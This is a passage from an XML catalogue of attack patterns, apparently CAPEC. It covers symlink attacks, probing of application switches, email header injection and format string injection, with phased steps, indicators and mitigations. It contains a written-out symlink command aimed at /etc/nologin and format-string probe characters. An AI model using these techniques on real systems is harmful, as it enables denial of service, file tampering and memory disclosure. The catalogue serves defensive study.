					<Text>The target must have a resource leak that the attacker can repeatedly
						trigger.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required beyond the ability to trigger the targeted
					leak.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>404<!--Improper Resource Shutdown or Release--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>119<!--Resource Depletion--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="132" Name="Symlink Attack" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker positions a symbolic link in such a manner that the targeted
						user or application accesses the link's endpoint, assuming that it is
						accessing a file with the link's name. The endpoint file may be either
						output or input. If the file is output, the result is that the endpoint is
						modified, instead of a file at the intended location. Modifications to the
						endpoint file may include appending, overwriting, corrupting, changing
						permissions, or other modifications. In some variants of this attack the
						attacker may be able to control the change to a file while in other cases
						they cannot. The former is especially damaging since the attacker may be
						able to grant themselves increased privileges or insert false information,
						but the latter can also be damaging as it can expose sensitive information
						or corrupt or destroy vital system or application files. Alternatively, the
						endpoint file may serve as input to the targeted application. This can be
						used to feed malformed input into the target or to cause the target to
						process different information, possibly allowing the attacker to control the
						actions of the target or to cause the target to expose information to the
						attacker. Moreover, the actions taken on the endpoint file are undertaken
						with the permissions of the targeted user or application, which may exceed
						the permissions that the attacker would normally have.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify Target</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Attacker identifies the target application by
												determining whether there is sufficient check before
												writing data to a file and creating symlinks to
												files in different directories.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker writes to files in different
												directories to check whether the application has
												sufficient checking before file operations.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>The attacker creates symlinks to files in
												different directories.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The application does not check whether the
												file is a symlink or not before writing data to
												it.</Text>
												</Indicator_Description>
												<Environments>env-Local</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>The system allows creating symlinks.</Text>
												</Indicator_Description>
												<Environments>env-Local</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>Some directories do not allow creating
												symlink.</Text>
												</Indicator_Description>
												<Environments>env-Local</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>The application checks whether the file is a
												symlink or not before writing data to it.</Text>
												</Indicator_Description>
												<Environments>env-Local</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The application does not check
												whether the file is a symlink or not before
												writing data to it and the attacker can create
												symlinks to the files.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Perform checks on
												files to be handled: a) check for existence of
												file; b) check for symlinks; c) check for
												hardlinks.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Try to create symlinks to different
											files</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker then uses a variety of techniques,
												such as monitoring or guessing to create symlinks to
												the files accessed by the target application in the
												directories which are identified in the explore
												phase.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker monitors the file operations
												performed by the target application using a tool
												like dtrace or FileMon. And the attacker can delay
												the operations by using “sleep(2)” and “usleep()”
												to prepare the appropriate conditions for the
												attack, or make the application perform expansive
												tasks (large files parsing, etc.) depending on the
												purpose of the application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>The attacker may need a little guesswork on
												the filenames on which the target application
												would operate.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>The attacker tries to create symlinks to the
												various filenames.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The attacker can create symlinks to the
												files in the target directories.</Text>
												</Indicator_Description>
												<Environments>env-Local</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker creates symlink to
												the files while the target application is
												operating on the file.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Perform checks on
												files to be handled for existence, symlinks or
												hardlinks.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Give the sensitive
												files restricted
												permissions.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Target application operates on created
											symlinks to sensitive files</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker is able to create symlinks to
												sensitives file while the target application is
												operating on the file.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Create the symlink to the sensitive file
												such as configuration files, etc.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker creates symlinks
												to sensitive files and the target application
												operates on them leading to a breach in the
												security assumptions of the target
												application.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Perform checks on
												files to be handled for existence, symlinks or
												hardlinks.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Give sensitive files
												restricted
												permissions.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Generate semi-random
												filenames and add the “O_CREAT|O_EXCL” flags to
												any “open()” calls
												made.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted application must perform the desired activities on a file
						without checking whether the file is a symbolic link or not. The attacker
						must be able to predict the name of the file the target application is
						modifying and be able to create a new symbolic link where that file would
						appear.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Low</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Time and State</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The attacker creates a symlink with the “same” name as the file which
							the application is intending to write to. The application will write to
							the file- “causing the data to be written where the symlink is
							pointing”. An attack like this can be demonstrated as follows: --- root#
							vulprog myFile […program does some processing…] attacker# ln –s
							/etc/nologin myFile […program writes to ‘myFile’, which points to
							/etc/nologin...] --- In the above example, the root user ran a program
							with poorly written file handling routines, providing the filename
							“myFile” to vulnprog for the relevant data to be written to. However,
							the attacker happened to be looking over the shoulder of “root” at the
							time, and created a link from myFile to /etc/nologin. The attack would
							make no user be able to login. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To create symlinks</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To identify the files and create the symlinks during the file
							operation time window</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No special resources are required beyond the ability to create the necessary
					symbolic link.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Check for the existence of files to be created, if in existence
						verify they are neither symlinks nor hardlinks before opening them.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Use randomly generated file names for temporary files.
						Give the files restrictive permissions.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
					<Consequence_Note>
						<Text>Information Leakage</Text>
					</Consequence_Note>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>59<!--Improper Link Resolution Before File Access ('Link Following')-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CAPEC-159</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Redirect Access to Libraries</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>154<!--Resource Location Attacks-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>176<!--Configuration/Environment Manipulation-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>156<!--Spoofing-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>Shaun Colley</Reference_Author>
					<Reference_Title>Crafting Symlinks for Fund and Profit</Reference_Title>
					<Reference_Link>http://www.infosecwriters.com/texts.php?op=display&amp;id=159</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="133" Name="Try All Common Application Switches and Options"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker attempts to invoke all common switches and options in the
						target application for the purpose of discovering weaknesses in the target.
						For example, in some applications, adding a --debug switch causes debugging
						information to be displayed, which can sometimes reveal sensitive processing
						or configuration information to an attacker. This attack differs from other
						forms of API abuse in that the attacker is blindly attempting to invoke
						options in the hope that one of them will work rather than specifically
						targeting a known option. Nonetheless, even if the attacker is familiar with
						the published options of a targeted application this attack method may still
						be fruitful as it might discover unpublicized functionality.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The attacker must be able to control the options or switches sent to the
						target.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required beyond the ability to send requests to the
					target.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Minimize switch and option functionality to only that necessary
						for correct function of the command.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Remove all debug and testing options from production
						code.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>559<!--Often Misused: Arguments and Parameters--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>656<!--Reliance on Security through Obscurity--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>88<!--Argument Injection or Modification--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>210<!--Abuse of Functionality--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="134" Name="Email Injection" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates the headers and content of an email message by
						injecting data via the use of delimeter characters native to the protocol.
						Many applications allow users to send email messages by filling in fields.
						For example, a web site may have a link to "share this site with a friend"
						where the user provides the recipient's email address and the web
						application fills out all the other fields, such as the subject and body. In
						this pattern, an attacker adds header and body information to an email
						message by injecting additional content in an input field used to construct
						a header of the mail message. This attack takes advantage of the fact that
						RFC 822 requires that headers in a mail message be separated by a carriage
						return. As a result, an attacker can inject new headers or content simply by
						adding a delimiting carriage return and then supplying the new heading and
						body information. This attack will not work if the user can only supply the
						message body since a carriage return in the body is treated as a normal
						character.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must allow users to send email to some recipient,
						must allow the user to specify the content at least one header field in the
						message, and must fail to sanitize against the injection of command
						separators.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required beyond access to the target mail
					application.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>363<!--WASC Threat Classification 2.0 - WASC-30 - Mail Command Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="135" Name="Format String Injection" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker includes formatting characters in a string input field on the
						target application. Most applications assume that users will provide static
						text and may respond unpredictably to the presence of formatting character.
						For example, in certain functions of the C programming languages such as
						printf, the formatting character %s will print the contents of a memory
						location expecting this location to identify a string and the formatting
						character %n prints the number of DWORD written in the memory. An attacker
						can use this to read or write to memory locations or files, or simply to
						manipulate the value of the resulting text in unexpected ways. Reading or
						writing memory may result in program crashes and writing memory could result
						in the execution of arbitrary code if the attacker can write to the program
						stack.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey application</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker takes an inventory of the entry
												points of the application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Spider web sites for all available
												links</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>List parameters, external variables,
												configuration files variables, etc. that are
												possibly used by the application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least one data input to
												application identified.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Inconclusive">
												<Outcome_Description>No inputs to application
												identified. Note that just because no inputs are
												identified does not mean that the application will
												not accept any.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine user-controllable input
											susceptible to format string
											injection:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine the user-controllable input susceptible
												to format string injection. For each
												user-controllable input that the attacker suspects
												is vulnerable to format string injection, attempt to
												inject formatting characters such as %n, %s, etc..
												The goal is to manipulate the string creation using
												these formatting characters.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Inject probe payload which contains
												formatting characters (%s, %d, %n, etc.) through
												input parameters.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Negative">
												<Indicator_Description>
												<Text>Attacker receives normal response from
												server.</Text>
												</Indicator_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Attacker receives an abnormal message (let’s
												say with a partial dump of the memory) from the
												application which indicates that the format string
												was successfully manipulated.</Text>
												</Indicator_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least one user-controllable
												input susceptible to injection
												found.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No user-controllable input
												susceptible to injection
												found.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Search for and report
												format string injection indicators such as the use
												of %s, %n, %d, etc. in submitted user
												input</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Refrain from using
												format strings when not necessary, for example
												fprintf(str) can be replaced by fputs(str), etc.
												</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Try to exploit the Format String
											Injection vulnerability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>After determining that a given input is vulnerable
												to format string injection, hypothesize what the
												underlying usage looks like and the associated
												constraints. </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Insert various formatting characters to read
												or write the memory, e.g. overwrite return
												address, etc.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Probing via format character injection was
												successful in identifying vulnerable input.</Text>
												</Indicator_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Probing via format character injection
												failed in identifying vulnerable input.</Text>
												</Indicator_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker achieves goal of
												reading or writing the memory, manipulating the
												formatting string</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Inconclusive">
												<Outcome_Description>Attacker unable to exploit the
												format string injection vulnerability
												</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target application must accept a strings as user input, fail to
						sanitize string formatting characters in the user input, and process this
						string using functions that interpret string formatting characters.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Untrusted search path vulnerability in the add_filename_to_string
							function in intl/gettext/loadmsgcat.c for Elinks 0.11.1 allows local
							users to cause Elinks to use an untrusted gettext message catalog (.po
							file) in a "../po" directory, which can be leveraged to conduct format
							string attacks.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2007-2027</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>In order to discover format string vulnerabilities it takes only low
							skill, however, converting this discovery into a working exploit
							requires advanced knowledge on the part of the attacker.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No special resources are required beyond the ability to provide string input
					to the target. </Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Limit the usage of formatting string functions.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Strong input validation - All user-controllable input must be validated
						and filtered for illegal formatting characters. </Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
